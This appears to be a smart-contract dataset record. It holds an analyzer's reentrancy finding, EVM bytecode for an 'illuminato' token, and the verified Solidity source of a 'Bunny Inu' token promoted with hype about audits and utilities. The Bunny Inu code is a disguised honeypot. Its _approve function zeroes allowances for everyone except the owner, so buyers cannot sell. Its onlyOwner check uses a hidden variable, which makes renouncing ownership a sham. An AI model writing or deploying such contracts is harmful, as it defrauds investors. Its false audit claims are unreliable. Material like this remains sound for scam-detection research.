65b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c679092919063ffffffff16565b61140d565b600190509392505050565b6106ee611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c5a565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c5a565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c5a565b60405180910390fd5b6000811161093357600080fd5b610962606461095483681043561a8829300000611ccb90919063ffffffff16565b611d4590919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611405565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d8f565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfb565b9050919050565b610a36611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c5a565b60405180910390fd5b681043561a8829300000600f81905550681043561a8829300000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f696c6c756d696e61746f00000000000000000000000000000000000000000000815250905090565b6000610cb2610cab611405565b84846115d6565b6001905092915050565b610cc4611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c5a565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83681043561a8829300000611ccb90919063ffffffff16565b611d4590919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611405565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e69565b50565b610e18611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c5a565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d6c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16681043561a882930000061140d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612da1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612da1565b6040518363ffffffff1660e01b815260040161109c929190612dce565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612da1565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612e3c565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612eb2565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061124160646112336001681043561a8829300000611ccb90919063ffffffff16565b611d4590919063ffffffff16565b600f8190555061127760646112696002681043561a8829300000611ccb90919063ffffffff16565b611d4590919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611337929190612f05565b6020604051808303816000875af1158015611356573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137a9190612f43565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361147c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147390612fe2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e290613074565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c991906128bb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611645576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163c90613106565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ab90613198565b60405180910390fd5b600081116116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee9061322a565b60405180910390fd5b6000600a819055506002600b8190555061170f610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177d575061174d610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118265750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61182f57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118da5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119305750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119485750600e60179054906101000a900460ff165b15611a8657600f54811115611992576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198990613296565b60405180910390fd5b6010548161199f846109dd565b6119a991906132b6565b11156119ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e190613358565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3557600080fd5b601e42611a4291906132b6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b315750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b9d576000600a819055506008600b819055505b6000611ba8306109dd565b9050600e60159054906101000a900460ff16158015611c155750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2d5750600e60169054906101000a900460ff165b15611c5557611c3b81611e69565b60004790506000811115611c5357611c5247611d8f565b5b505b505b611c628383836120e2565b505050565b6000838311158290611caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca6919061276c565b60405180910390fd5b5060008385611cbe9190613378565b9050809150509392505050565b6000808303611cdd5760009050611d3f565b60008284611ceb91906133ac565b9050828482611cfa9190613435565b14611d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d31906134d8565b60405180910390fd5b809150505b92915050565b6000611d8783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f2565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df7573d6000803e3d6000fd5b5050565b6000600854821115611e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e399061356a565b60405180910390fd5b6000611e4c612155565b9050611e618184611d4590919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea157611ea06128db565b5b604051908082528060200260200182016040528015611ecf5781602001602082028036833780820191505090505b5090503081600081518110611ee757611ee6612c7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb29190612da1565b81600181518110611fc657611fc5612c7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202d30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140d565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612091959493929190613648565b600060405180830381600087803b1580156120ab57600080fd5b505af11580156120bf573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120ed838383612180565b505050565b60008083118290612139576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612130919061276c565b60405180910390fd5b50600083856121489190613435565b9050809150509392505050565b600080600061216261234b565b915091506121798183611d4590919063ffffffff16565b9250505090565b600080600080600080612192876123ad565b9550955095509550955095506121f086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d1816124bd565b6122db848361257a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233891906128bb565b60405180910390a3505050505050505050565b600080600060085490506000681043561a88293000009050612381681043561a8829300000600854611d4590919063ffffffff16565b8210156123a057600854681043561a88293000009350935050506123a9565b81819350935050505b9091565b60008060008060008060008060006123ca8a600a54600b546125b4565b92509250925060006123da612155565b905060008060006123ed8e87878761264a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061245783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c67565b905092915050565b600080828461246e91906132b6565b9050838110156124b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124aa906136ee565b60405180910390fd5b8091505092915050565b60006124c7612155565b905060006124de8284611ccb90919063ffffffff16565b905061253281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61258f8260085461241590919063ffffffff16565b6008819055506125aa8160095461245f90919063ffffffff16565b6009819055505050565b6000806000806125e060646125d2888a611ccb90919063ffffffff16565b611d4590919063ffffffff16565b9050600061260a60646125fc888b611ccb90919063ffffffff16565b611d4590919063ffffffff16565b9050600061263382612625858c61241590919063ffffffff16565b61241590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126638589611ccb90919063ffffffff16565b9050600061267a8689611ccb90919063ffffffff16565b905060006126918789611ccb90919063ffffffff16565b905060006126ba826126ac858761241590919063ffffffff16565b61241590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561270d5780820151818401526020810190506126f2565b8381111561271c576000848401525b50505050565b6000601f19601f8301169050919050565b600061273e826126d3565b61274881856126de565b93506127588185602086016126ef565b61276181612722565b840191505092915050565b600060208201905081810360008301526127868184612733565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127cd826127a2565b9050919050565b6127dd816127c2565b81146127e857600080fd5b50565b6000813590506127fa816127d4565b92915050565b6000819050919050565b61281381612800565b811461281e57600080fd5b50565b6000813590506128308161280a565b92915050565b6000806040838503121561284d5761284c612798565b5b600061285b858286016127eb565b925050602061286c85828601612821565b9150509250929050565b60008115159050919050565b61288b81612876565b82525050565b60006020820190506128a66000830184612882565b92915050565b6128b581612800565b82525050565b60006020820190506128d060008301846128ac565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61291382612722565b810181811067ffffffffffffffff82111715612932576129316128db565b5b80604052505050565b600061294561278e565b9050612951828261290a565b919050565b600067ffffffffffffffff821115612971576129706128db565b5b602082029050602081019050919050565b600080fd5b600061299a61299584612956565b61293b565b905080838252602082019050602084028301858111156129bd576129bc612982565b5b835b818110156129e657806129d288826127eb565b8452602084019350506020810190506129bf565b5050509392505050565b600082601f830112612a0557612a046128d6565b5b8135612a15848260208601612987565b91505092915050565b600060208284031215612a3457612a33612798565b5b600082013567ffffffffffffffff811115612a5257612a5161279d565b5b612a5e848285016129f0565b91505092915050565b600080600060608486031215612a8057612a7f612798565b5b6000612a8e868287016127eb565b9350506020612a9f868287016127eb565b9250506040612ab086828701612821565b9150509250925092565b600060208284031215612ad057612acf612798565b5b6000612ade848285016127eb565b91505092915050565b600060ff82169050919050565b612afd81612ae7565b82525050565b6000602082019050612b186000830184612af4565b92915050565b612b2781612876565b8114612b3257600080fd5b50565b600081359050612b4481612b1e565b92915050565b600060208284031215612b6057612b5f612798565b5b6000612b6e84828501612b35565b91505092915050565b600060208284031215612b8d57612b8c612798565b5b6000612b9b84828501612821565b91505092915050565b612bad816127c2565b82525050565b6000602082019050612bc86000830184612ba4565b92915050565b60008060408385031215612be557612be4612798565b5b6000612bf3858286016127eb565b9250506020612c04858286016127eb565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c446020836126de565b9150612c4f82612c0e565b602082019050919050565b60006020820190508181036000830152612c7381612c37565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ce382612800565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d1557612d14612ca9565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d566017836126de565b9150612d6182612d20565b602082019050919050565b60006020820190508181036000830152612d8581612d49565b9050919050565b600081519050612d9b816127d4565b92915050565b600060208284031215612db757612db6612798565b5b6000612dc584828501612d8c565b91505092915050565b6000604082019050612de36000830185612ba4565b612df06020830184612ba4565b9392505050565b6000819050919050565b6000819050919050565b6000612e26612e21612e1c84612df7565b612e01565b612800565b9050919050565b612e3681612e0b565b82525050565b600060c082019050612e516000830189612ba4565b612e5e60208301886128ac565b612e6b6040830187612e2d565b612e786060830186612e2d565b612e856080830185612ba4565b612e9260a08301846128ac565b979650505050505050565b600081519050612eac8161280a565b92915050565b600080600060608486031215612ecb57612eca612798565b5b6000612ed986828701612e9d565b9350506020612eea86828701612e9d565b9250506040612efb86828701612e9d565b9150509250925092565b6000604082019050612f1a6000830185612ba4565b612f2760208301846128ac565b9392505050565b600081519050612f3d81612b1e565b92915050565b600060208284031215612f5957612f58612798565b5b6000612f6784828501612f2e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fcc6024836126de565b9150612fd782612f70565b604082019050919050565b60006020820190508181036000830152612ffb81612fbf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061305e6022836126de565b915061306982613002565b604082019050919050565b6000602082019050818103600083015261308d81613051565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130f06025836126de565b91506130fb82613094565b604082019050919050565b6000602082019050818103600083015261311f816130e3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131826023836126de565b915061318d82613126565b604082019050919050565b600060208201905081810360008301526131b181613175565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132146029836126de565b915061321f826131b8565b604082019050919050565b6000602082019050818103600083015261324381613207565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132806019836126de565b915061328b8261324a565b602082019050919050565b600060208201905081810360008301526132af81613273565b9050919050565b60006132c182612800565b91506132cc83612800565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561330157613300612ca9565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613342601a836126de565b915061334d8261330c565b602082019050919050565b6000602082019050818103600083015261337181613335565b9050919050565b600061338382612800565b915061338e83612800565b9250828210156133a1576133a0612ca9565b5b828203905092915050565b60006133b782612800565b91506133c283612800565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133fb576133fa612ca9565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061344082612800565b915061344b83612800565b92508261345b5761345a613406565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134c26021836126de565b91506134cd82613466565b604082019050919050565b600060208201905081810360008301526134f1816134b5565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613554602a836126de565b915061355f826134f8565b604082019050919050565b6000602082019050818103600083015261358381613547565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135bf816127c2565b82525050565b60006135d183836135b6565b60208301905092915050565b6000602082019050919050565b60006135f58261358a565b6135ff8185613595565b935061360a836135a6565b8060005b8381101561363b57815161362288826135c5565b975061362d836135dd565b92505060018101905061360e565b5085935050505092915050565b600060a08201905061365d60008301886128ac565b61366a6020830187612e2d565b818103604083015261367c81866135ea565b905061368b6060830185612ba4565b61369860808301846128ac565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136d8601b836126de565b91506136e3826136a2565b602082019050919050565b60006020820190508181036000830152613707816136cb565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208b9082339ce463aab8122860d6a6288da5858ecc414b95bc696e1f5249e46e6c64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,033
0x164c21ef714be242f436c352d6d122ee73fb5d8f
/** *Submitted for verification at Etherscan.io on 2021-12-27 */ /* Bunny Inu is the CUTEST new animal token ready to hop and make history to the DeFi Zoo! Bunny Inu ($BUNNY) is being carefully constructed by a team with over two years of experience, meaning they know what it takes to make a token absolutely MOON! Coming soon to Uniswap, boasting POWERFUL utilities including: 🐰 BunnySwap! The cutest new way to trade your ERC-20 tokens! 🐰 CarrotFarms! A hot new way to make your income multiply like Bunnies! 🐰 NFTs! Cute AND collectible! 🐰 P2E Bunny Inu game! 🐰 Certik audit! Know your Bunny is SAFE! 🐰 And MUCH more we can't talk about yet! So what are you waiting for? HOP UP! 💬: https://t.me/BunnyInu 🐦: https://twitter.com/BunnyInu_Eth 💻: https://bunnyinu.io/ 📖: https://www.facebook.com/Bunny-Inu-103182288891538/ 🛑: https://new.reddit.com/user/bunnyinu */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract bunny is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**6* 10**18; string private _name = 'Bunny Inu ' ; string private _symbol = 'BUNNY'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405